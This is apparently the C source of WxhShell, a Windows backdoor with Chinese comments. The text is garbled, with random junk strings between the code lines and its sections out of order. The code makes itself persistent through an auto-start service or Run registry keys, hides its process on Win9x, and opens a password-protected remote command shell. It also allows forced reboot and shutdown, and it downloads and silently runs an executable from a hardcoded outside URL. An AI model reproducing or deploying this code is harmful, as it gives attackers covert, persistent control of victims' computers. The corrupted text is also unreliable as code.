My5 HANDLE hProcess; <sTY<i VR PROCESS_BASIC_INFORMATION pbi; 7TtDI=f B4/\=MXb HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ()^tw5e'^ if(NULL == hInst ) return 0; {F=`IE3)w ]bP1gV(b- g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); JA09 o( g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); gySl.cxt NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]P*H,&I`# U!
$/'Xi9 if (!NtQueryInformationProcess) return 0; a)S{9q}%
Cy\ o{6 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); uOAd$;h@_Z if(!hProcess) return 0; ~KYA{^`* \MDhm,H< if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; K%.t%)A_3 MK.TBv CloseHandle(hProcess); zDf96eK zI= 9 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Z&|Dp*Z if(hProcess==NULL) return 0; 8;d./!|'&g bjBXs;zr@\ HMODULE hMod; ThY\K>@] char procName[255]; T@xaa\bzg unsigned long cbNeeded; V'FKgzd #Xk/<It if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); KFBBqP *X!+wK-+ CloseHandle(hProcess); Gvl,M\c9- fQxlYD'peb if(strstr(procName,"services")) return 1; // 以服务启动 Z|B`n
SzH Gs/G_E(T return 0; // 注册表启动 SveP:uJA[ } %O9P|04]3 q*!Vyk // 主模块 I6i qC"BK int StartWxhshell(LPSTR lpCmdLine) jZk dTiI { !{F\\D/ SOCKET wsl; W'PW;., BOOL val=TRUE; =j%ORD[ int port=0; m 0]1(\% struct sockaddr_in door; Am<){&XT
] qzWnl[3 if(wscfg.ws_autoins) Install(); )TcD-Jr ^7Ebg5< port=atoi(lpCmdLine);
c`}YL4 J ql$
g if(port<=0) port=wscfg.ws_port; Jq:Wt+a qFp]jbU WSADATA data; GPrq( if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; a+B3`6 xB_78X1 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Bxf&gDwjgr setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); IN@ =UAc& door.sin_family = AF_INET; \;Sl5*kr door.sin_addr.s_addr = inet_addr("127.0.0.1"); Iv{uk$^7S door.sin_port = htons(port); 5 Nt9'" sWq@E6,I if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "`V:4uz closesocket(wsl); zUA
- return 1; |ADg#oX } U9XOs)^ 0pBG^I`_ if(listen(wsl,2) == INVALID_SOCKET) { CN6b982& closesocket(wsl); ;73{n*a$ return 1; `^)oVs } v<ati c Wxhshell(wsl); nFjaV`6`@ WSACleanup(); #.2} t0*]5 :Vrj[i-{ return 0; ynn>d POQ4&ChA } ~PX#' Jr K7ZRj\(CJv // 以NT服务方式启动 ,IPryI VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) l Ma|| { |~+bbN|b DWORD status = 0; `pXPF}T DWORD specificError = 0xfffffff; /~+j[oB op,mP0b serviceStatus.dwServiceType = SERVICE_WIN32; #;\tgUQ serviceStatus.dwCurrentState = SERVICE_START_PENDING; in>?kbaG+ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; +
7nA; C serviceStatus.dwWin32ExitCode = 0; yG<Q t+D serviceStatus.dwServiceSpecificExitCode = 0; ^=
'+#|: serviceStatus.dwCheckPoint = 0; $*7AG serviceStatus.dwWaitHint = 0; lGEfI&1%! 17lc5#^L hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Aj+0R?9tG if (hServiceStatusHandle==0) return; : n\D #VuiY status = GetLastError(); mpzm6Ieu if (status!=NO_ERROR) `8D'r|=`Eh { +2m\Sv V serviceStatus.dwCurrentState = SERVICE_STOPPED; Cdc=1,U( serviceStatus.dwCheckPoint = 0; w"!zLB&9[ serviceStatus.dwWaitHint = 0; Zb2.o5#} serviceStatus.dwWin32ExitCode = status; "9,+m$nj serviceStatus.dwServiceSpecificExitCode = specificError; =BBqK=W.d SetServiceStatus(hServiceStatusHandle, &serviceStatus); Px`z$~*B: return; > M4QEv } ~t^'4"K* y<)q;fI7 serviceStatus.dwCurrentState = SERVICE_RUNNING; \P9HAz'6 serviceStatus.dwCheckPoint = 0; $kh6-y@ serviceStatus.dwWaitHint = 0; )z7+%n TO if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); { pu .l4nk } '.zr:l !%'c$U2 // 处理NT服务事件,比如:启动、停止 gal.<SVW VOID WINAPI NTServiceHandler(DWORD fdwControl) $u{ 8wF/) { ^S^7u switch(fdwControl) ?Q: KW { .*L_*}tno case SERVICE_CONTROL_STOP: 'Inqa;TQz serviceStatus.dwWin32ExitCode = 0; h|.*V$3 serviceStatus.dwCurrentState = SERVICE_STOPPED; 0GnbE2& serviceStatus.dwCheckPoint = 0; BoXGoFn serviceStatus.dwWaitHint = 0; Jek)`D { @W!cC#u SetServiceStatus(hServiceStatusHandle, &serviceStatus); D?P1\<A~ } 8yCQWDE} return; ,IG?(CK| case SERVICE_CONTROL_PAUSE: ;%Zn)etu serviceStatus.dwCurrentState = SERVICE_PAUSED; "3VMjF\ break; 1{bsh?zd case SERVICE_CONTROL_CONTINUE: R^GLATM serviceStatus.dwCurrentState = SERVICE_RUNNING; H_7X%TvXb break; pAdSOR2 case SERVICE_CONTROL_INTERROGATE: 3o^oq break; .8Gmy07 }; /qO?)p3gk SetServiceStatus(hServiceStatusHandle, &serviceStatus); EXT_x q } +#g?rCz &;oWmmvz{ // 标准应用程序主函数 [X=Ot#?u ~ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8}Su7v1 { }P"JP[#E\ df!n.&\y! // 获取操作系统版本 X"
;ly0Mb OsIsNt=GetOsVer(); \B
D'" GetModuleFileName(NULL,ExeFile,MAX_PATH); qGKQrb,K FrD,)Ad8Q // 从命令行安装 ahm@ +/2 if(strpbrk(lpCmdLine,"iI")) Install(); 2~SjRIp Uw ;PhX[y^* // 下载执行文件 L51uC ,QF if(wscfg.ws_downexe) { }&Jml%F4uR if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 1R"ymWg" WinExec(wscfg.ws_filenam,SW_HIDE); 9-N*Jhg } yX;v @d=4C{g%o if(!OsIsNt) { @@Vf"o+S // 如果时win9x,隐藏进程并且设置为注册表启动 ~<w9a] HideProc(); w(vda0 StartWxhshell(lpCmdLine); K~aIY0=< } ^DS+O> else ;COZHj9b if(StartFromService()) R?$Nl // 以服务方式启动 3QzHQU StartServiceCtrlDispatcher(DispatchTable); =o+))R4 else 6z80Y*|eJ // 普通方式启动 mu =H&JC StartWxhshell(lpCmdLine); IMay`us]:8 '74-rL:i return 0; o%\pI% } (3+:/,{'$ sz%'=J~!V Mlr}v^"G zE\@x+k. =========================================== . ;q4<_ :]oR x @q]{s+#Xf T'nQj<dBt: naoH685R4 Qs.g% " -l`1j6 0 SeDBs #include <stdio.h> G6L
/Ny3>_ #include <string.h> |KxFiH #include <windows.h> %8lF%uu!x #include <winsock2.h> K@zzseQ}= #include <winsvc.h> 4#BoS9d2I< #include <urlmon.h> )R`w{V X#*|_(^ #pragma comment (lib, "Ws2_32.lib") ;n,@[v #pragma comment (lib, "urlmon.lib") @dj2# +]%d'h #define MAX_USER 100 // 最大客户端连接数 30v 3C7o= #define BUF_SOCK 200 // sock buffer uZ(j"y #define KEY_BUFF 255 // 输入 buffer XABI2Ex >-{)wk;1& #define REBOOT 0 // 重启 *n=NBkq%/! #define SHUTDOWN 1 // 关机 xW;-=Q GKNH{|B$D #define DEF_PORT 5000 // 监听端口 l[q%1-N $Z;?d@6yI #define REG_LEN 16 // 注册表键长度 yprf
`D> #define SVC_LEN 80 // NT服务名长度 tj_+0J$sw: &[hq !v // 从dll定义API 1>SCY_Cv typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); V_g9oR_ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {D
jz']
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); d
M&BnI typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !`G7X (&G4@V d // wxhshell配置信息 ^"h`U'YC struct WSCFG { tGs=08` int ws_port; // 监听端口 \=yx~c_$L char ws_passstr[REG_LEN]; // 口令 / 1jb8w' int ws_autoins; // 安装标记, 1=yes 0=no Tv&-n char ws_regname[REG_LEN]; // 注册表键名 {1y-*@yU( char ws_svcname[REG_LEN]; // 服务名 "gD)Uis char ws_svcdisp[SVC_LEN]; // 服务显示名 (f 0p char ws_svcdesc[SVC_LEN]; // 服务描述信息 0 pHqNlb char ws_passmsg[SVC_LEN]; // 密码输入提示信息 12Hy.l int ws_downexe; // 下载执行标记, 1=yes 0=no ~ YKBxt char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" >~5>)yN_a1 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =_`4HDr 0~\Dd0W/:` }; 9@-^!DBM 4 }l,F // default Wxhshell configuration r2T-= XWB struct WSCFG wscfg={DEF_PORT, /
W}Za&] "xuhuanlingzhe", `R]9+_"N 1, Cr,UP8MO "Wxhshell", )hHkaI>eYv "Wxhshell", (N U*PQY6 "WxhShell Service", %:/_O*~)Yg "Wrsky Windows CmdShell Service", mACj>0Z' "Please Input Your Password: ", uhFj|r$$ 1, AWP CJmr "http://www.wrsky.com/wxhshell.exe", vmW4 3K; "Wxhshell.exe" V=}b>Jo2j }; 9tVA.:FOZ `":ch9rK // 消息定义模块 JU7EC~7|2c char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; kne{Tp char *msg_ws_prompt="\n\r? for help\n\r#>"; ?#^_yd|< char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Z4Nl{
6 char *msg_ws_ext="\n\rExit."; &Z_W*D char *msg_ws_end="\n\rQuit."; W^W^5-'"D, char *msg_ws_boot="\n\rReboot..."; J 3fcnI char *msg_ws_poff="\n\rShutdown..."; 'Pudy\Ab char *msg_ws_down="\n\rSave to "; $-$^r; oXgKuR char *msg_ws_err="\n\rErr!"; {|%N char *msg_ws_ok="\n\rOK!"; %v\0Dm+A ;%Jw9G\h char ExeFile[MAX_PATH]; |\j'Z0 int nUser = 0; j(!M HANDLE handles[MAX_USER]; 2B7X~t>8a int OsIsNt; xn&G` [ds:LQq)/ SERVICE_STATUS serviceStatus; a[:0<Ek SERVICE_STATUS_HANDLE hServiceStatusHandle; n^|n6(EZ =Uta5$\a) // 函数声明 LqTyE int Install(void); #]i*u1 int Uninstall(void); 3u7N/OQ( int DownloadFile(char *sURL, SOCKET wsh); edqek jh int Boot(int flag); 8kw`=wSH> void HideProc(void); [Z484dS`_ int GetOsVer(void); tm~V+t!mj int Wxhshell(SOCKET wsl); DD\:glo void TalkWithClient(void *cs); I_J;/!l= int CmdShell(SOCKET sock); 0hXI1@8]` int StartFromService(void); mu2r#I int StartWxhshell(LPSTR lpCmdLine); 2*-s3 >VK |A0LYKni VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); udDhJ? VOID WINAPI NTServiceHandler( DWORD fdwControl ); nsqs*$ F
kp;G // 数据结构和表定义 lvIKL!;H SERVICE_TABLE_ENTRY DispatchTable[] = TdI5{?sW { mxhO:.l {wscfg.ws_svcname, NTServiceMain}, k7Fa+Y)K7 {NULL, NULL} ~#dNGWwG }; M-u:8dPu b w!;ZRK // 自我安装 [rv"tz= int Install(void) _*1/4^ { w{Wz^=';
char svExeFile[MAX_PATH]; /E/J< HKEY key; Z9s tB>? strcpy(svExeFile,ExeFile); ]lzt"[ [K;J#0V+&L // 如果是win9x系统,修改注册表设为自启动 <Brq7:n| if(!OsIsNt) { @gQ{*dN if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S1{UVkr RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); PD12gUU? RegCloseKey(key); ~AxA , if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { KFdTw{GlJ7 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^!-*xH.dK RegCloseKey(key); .oYUA} return 0; Fd-PjW/E8 } v2:A 4Pd:+ } zR(}X8fP } yHl1:cf(y else { dJM)~Ay- wp`a:QZ8N // 如果是NT以上系统,安装为系统服务 ["4h%{. SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3(G}IWPq< if (schSCManager!=0) Yjv}@i" { ./LD SC_HANDLE schService = CreateService >tnQuFKg] ( zRdL-u%(# schSCManager, *VH!<k[n wscfg.ws_svcname, fn
)m$\2 wscfg.ws_svcdisp, .v%H%z~Rl# SERVICE_ALL_ACCESS, sPn[FuT>+s SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , EA9`-xs| SERVICE_AUTO_START, Eym<DPu$n SERVICE_ERROR_NORMAL, hm >JBc:n- svExeFile, `uy)][j- NULL, ulV)X/]1 NULL, %geiJ z NULL, T>s~bIzL*e NULL, :l8n)O3 NULL D ::),, ); R>U0W{1NO if (schService!=0) W/9dT^1y4' { BRbx. CloseServiceHandle(schService); Y;d$x}dh CloseServiceHandle(schSCManager); e.jrX;;$!& strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); X[:Hp`_$ strcat(svExeFile,wscfg.ws_svcname); .w\AyXp if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { +0\BI<aG RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); wq!Gj]B RegCloseKey(key); ?9nuL}m!a return 0; $5ZBNGr } 5v"QKI } RUUV"y CloseServiceHandle(schSCManager); ZIQy}b' } `q7O\ } m8;;
O :}}5TJ wG return 1; I~?D^ } ^{nf0 )56c 0gw0 // 自我卸载 nS)U+q-x&o int Uninstall(void) FjqoO. { SYRr|Lg HKEY key; Ql^I$5& FuiG=quY if(!OsIsNt) { Hj't.lg+j if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r$}M,! J RegDeleteValue(key,wscfg.ws_regname); NrT!&>M RegCloseKey(key); &p=Uus if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { o<bZ. t RegDeleteValue(key,wscfg.ws_regname); `"zXf -qeE RegCloseKey(key); GZ,`? return 0; ~wf&78 } 8R"c}87 } .dX ^3 } hAtf) else { b?eIFI&w^l \,)('tUE SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3ha^NjE if (schSCManager!=0) kx0(v1y3gT { S[(Tpk2_ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); |;e K5(| if (schService!=0) bHRH2Ss { ,%7>%*nhk if(DeleteService(schService)!=0) { /MYl:>e> CloseServiceHandle(schService); @dei}!e CloseServiceHandle(schSCManager); =V~pQbZ return 0; ;"46H'>! } $Y* d ' > CloseServiceHandle(schService); N|-M|1w96 } n4,b?-E>( CloseServiceHandle(schSCManager); =i[ _C>U } Xc~yr\%] } xR}^~14Bz U Hh return 1; (~ro_WC/I } %0l'Nuz S?ELFq(g // 从指定url下载文件 3y?I^ .B int DownloadFile(char *sURL, SOCKET wsh) -L&r2RF/ { K}7E;O5m" HRESULT hr; koDIxj'%X char seps[]= "/"; x6Zhw9RV char *token; DCr&%)Ll char *file; jez=q char myURL[MAX_PATH]; mh&wvT<:{ char myFILE[MAX_PATH]; D*.U? 0Cd)w4C strcpy(myURL,sURL); ?e( y/ token=strtok(myURL,seps); K",YAfJa while(token!=NULL) Gy 0 m { bQd'objpY file=token; Ug(;\*yg token=strtok(NULL,seps); }2c)UQD8 } WjLy7& :"QR;O@ GetCurrentDirectory(MAX_PATH,myFILE); yu3: Hv} strcat(myFILE, "\\");
%f3qCN strcat(myFILE, file); !YX$4_I send(wsh,myFILE,strlen(myFILE),0); d [K71 send(wsh,"...",3,0); &h^E_]P hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); }#%3y&7M7 if(hr==S_OK) <&JK5$l<X return 0; \cJ?2^Eq else Sd[%$)scC return 1; \%&BK.t ybk~ m } t<=Ru*p zv[$N, // 系统电源模块 jlaU3qXL int Boot(int flag) EHI%QT { ][vm4UY HANDLE hToken; 2kukQj(n TOKEN_PRIVILEGES tkp; ) 0NKL:u 6!F@?3qCyg if(OsIsNt) { DzZEn]+zt OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >?3yVE LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); s'$5]9$S tkp.PrivilegeCount = 1; ` mvPbZ0< tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; K|^PHe AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); E3..$x-/ if(flag==REBOOT) { M9[52D!{ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) P;~`%,+S return 0; ?X
$#J'U; } l$[7pM[ else { ]'IZ bx: if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) bsClw return 0; 287g 5 } 4)Jtc2z7Z\ } c_V^~hq else { j8P qc] if(flag==REBOOT) { CG#lpAs if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) XotiKCk|Aq return 0; T'i^yd}*v } GK6/S_l%D+ else { {*yFTP"93 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ws/e~ T<c return 0; {"v~1W) } FZFYwU\~.L } QK~44;LVIJ FS'|e?WU return 1; 8-#_xsZ^; } F#b^l} $G\WW@*GE // win9x进程隐藏模块 g2RrBK, void HideProc(void) z6'Cz}%EP' { 3#\++h]QZ s+m3&(X HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Ga<Uvr%+ if ( hKernel != NULL ) Ow"e3]}Mt { srbES6 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); hZZ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 5S9i>B FreeLibrary(hKernel); 7];AB;0" } 8n&Gn%DvX +DsdzR`Gx, return; gDN7ly]6M } ~`Y!_ '(x 1j_gQ,'20 // 获取操作系统版本 o}4~CN9} int GetOsVer(void) d/&W[jJ { a^vTBJXo OSVERSIONINFO winfo; iY,FfuE winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ZA1:Y{V GetVersionEx(&winfo); ']bw37_U, if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 60\`TsFobT return 1; PEr &|H2 else r5,V-5b return 0; ohJo1}{ } !eu\ShI !{1;wC(b // 客户端句柄模块 olv0w;s int Wxhshell(SOCKET wsl) ApD`i+Y@ { !jQj1QZR` SOCKET wsh; G'U ! # struct sockaddr_in client; W5*Kq^6Pd DWORD myID; b)+;=o% w!%"b03q while(nUser<MAX_USER) 4j1$1C{ { Wa5B;X~ int nSize=sizeof(client); eS: 8Pn wsh=accept(wsl,(struct sockaddr *)&client,&nSize); p3,m), if(wsh==INVALID_SOCKET) return 1; [%c5MQ?H _|Uv7>}J^ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !kxJ&VmeF if(handles[nUser]==0) P @Jo[J< closesocket(wsh); Zxw
cqN else @=ro/. nUser++; +$YHdgZ. } 7gc?7TM WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ;7>k[?'e NNxzZ!q! return 0; <GWzdj? } n\i~H pi|=3W // 关闭 socket 5O%?J-Hp void CloseIt(SOCKET wsh) #b
eLo J { <dGph closesocket(wsh); OWys`2W nUser--; 'NNfzh ExitThread(0); $5wf{iZY.Q } ew.jsa`TrW `N}aV Ns // 客户端请求句柄 PX- PVW void TalkWithClient(void *cs) 8w$q4fg0 { |SfCuV#g/< 7_Op(C4,nC SOCKET wsh=(SOCKET)cs; . 3'U(U char pwd[SVC_LEN]; #|"M char cmd[KEY_BUFF]; (zX75QSKV char chr[1]; *!.anbo@?z int i,j; 8|{d1dy ri/CLq^D while (nUser < MAX_USER) { dw>1Ut{"3 @~QI3)=s if(wscfg.ws_passstr) { ?j;,:n if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~f:"Q(f+ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +>ld //ZeroMemory(pwd,KEY_BUFF); Qt\^h/zjG i=0; Q*N{3G! while(i<SVC_LEN) { R $@$ "-Yj~ // 设置超时 z5J$".O` fd_set FdRead; (nwp s struct timeval TimeOut; jdIAN FD_ZERO(&FdRead); $x*(D|\'< FD_SET(wsh,&FdRead); ?[=OQ/E TimeOut.tv_sec=8; X7rsO^}W TimeOut.tv_usec=0; J(:y-U int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !C@+CZXLx if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 050V-S>s 9S|a!9J if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [(2XL"4D pwd=chr[0]; jN AS'JV if(chr[0]==0xd || chr[0]==0xa) { 6~-,.{Y pwd=0; 5.LfN{gE) break; 9>@Vk
vpY } R2A#2{+H i++; X4<Y5?&0 } -%dBZW\u2 a%2K,.J // 如果是非法用户,关闭 socket s o7.$]aV if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); t,u;"%go } Kk).KgR }tO>&$
Z6f send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &I:ZJuQ4 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); OtbPrF5 ^fQa whub while(1) { uD?Rs` _3IRj=Cs ZeroMemory(cmd,KEY_BUFF); w6h*dh$w IgN^~ag` // 自动支持客户端 telnet标准 X"sJiF S j=0; H*P[tyz$ while(j<KEY_BUFF) { {DapXx if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q8!]x-5$6j cmd[j]=chr[0]; v_Hy:O}R if(chr[0]==0xa || chr[0]==0xd) { M0T z('~s cmd[j]=0; h'+F'1= break; 8#w%qij } Q
ZC\%X8j j++; (^"2"[?a } (((|vI3 < =ea.+ // 下载文件 e{H( if(strstr(cmd,"http://")) { n]6-`fpD send(wsh,msg_ws_down,strlen(msg_ws_down),0); #-o 'g! if(DownloadFile(cmd,wsh)) T!I3. send(wsh,msg_ws_err,strlen(msg_ws_err),0); s!S_Bt):3 else DYoGtks( send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dQz#&&s-
} %OsxXO? else { *I[tIO\ : H:Se switch(cmd[0]) { aU@1j;se@ E
$P?%<o // 帮助 Dr76+9'i case '?': { JLt%G^W> send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^X?uAX-RP| break; "lrQC`? } ^ FM // 安装 Ss0I{0 case 'i': { 8 C9ny} if(Install()) FB:nkUR` send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~9"c64 q else lwz\"8 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a;v4R[lQ break; F+ 7*SImv6 } $fBj}\o // 卸载 M~n./wyC case 'r': { DN iH" 0% if(Uninstall()) -L<FVB send(wsh,msg_ws_err,strlen(msg_ws_err),0); -$X4RS else h#c7v!g send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )TEm1\ break; 1=,y+Xpw } 7#c4.9b? // 显示 wxhshell 所在路径 N}1yDN case 'p': { .
:>e"D char svExeFile[MAX_PATH]; #WJ*)$A@& strcpy(svExeFile,"\n\r"); 1{wbC) strcat(svExeFile,ExeFile); ef)zf+o send(wsh,svExeFile,strlen(svExeFile),0); O"/Sv'|H# break; IT)3Et@Y } C#4_`4{ // 重启 >q0%yh- case 'b': { 0OQ*V~>f send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >t<\zC|~w if(Boot(REBOOT)) r6R@"1/ send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4UUbX else { #a2gRg closesocket(wsh); ( $>m]| ExitThread(0); ->X>h_k.Y } \*Yr&Lm break; rL&Mq}7QK } jEwt1S V // 关机 c&x1aF "B case 'd': { 74a@/'WbE send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); oam;hmw if(Boot(SHUTDOWN)) o(H.1ESk send(wsh,msg_ws_err,strlen(msg_ws_err),0); FE]UqB else { )0]U"Nf ho closesocket(wsh); UG=]8YY!
ExitThread(0); |2%|= } <5,|h3]-# break; ?Pa(e)8\ } u>G9r#~`k // 获取shell 2P)O
0j\/ case 's': { `uUzBV.FR CmdShell(wsh); rmo\UCD closesocket(wsh); PEm2w#X%L ExitThread(0); u1Slu%^e break; R&BWCC{ } d=n{Wn{C // 退出 Wy*+8~@A case 'x': { dgIH`<U$ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9X%:
){ CloseIt(wsh); 0?(uqjD: break; Goc?HR } .)_2AoT7[ // 离开 ~#jiX6<I case 'q': { 7Xu# |k send(wsh,msg_ws_end,strlen(msg_ws_end),0); AS@(]T#R closesocket(wsh); K5|~iW' WSACleanup(); P"l'? ` exit(1); 1Y J?Y break; @4D{lb"{ } ^ =n7E } Q$:Q6/5. } (3lA0e`Y HKJBR)T // 提示信息 o5
fV,BJZO if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [U8/nT } ZJQFn } 1}c'UEr%) QnD8L.Dg return; _@!vF,Wcf } & |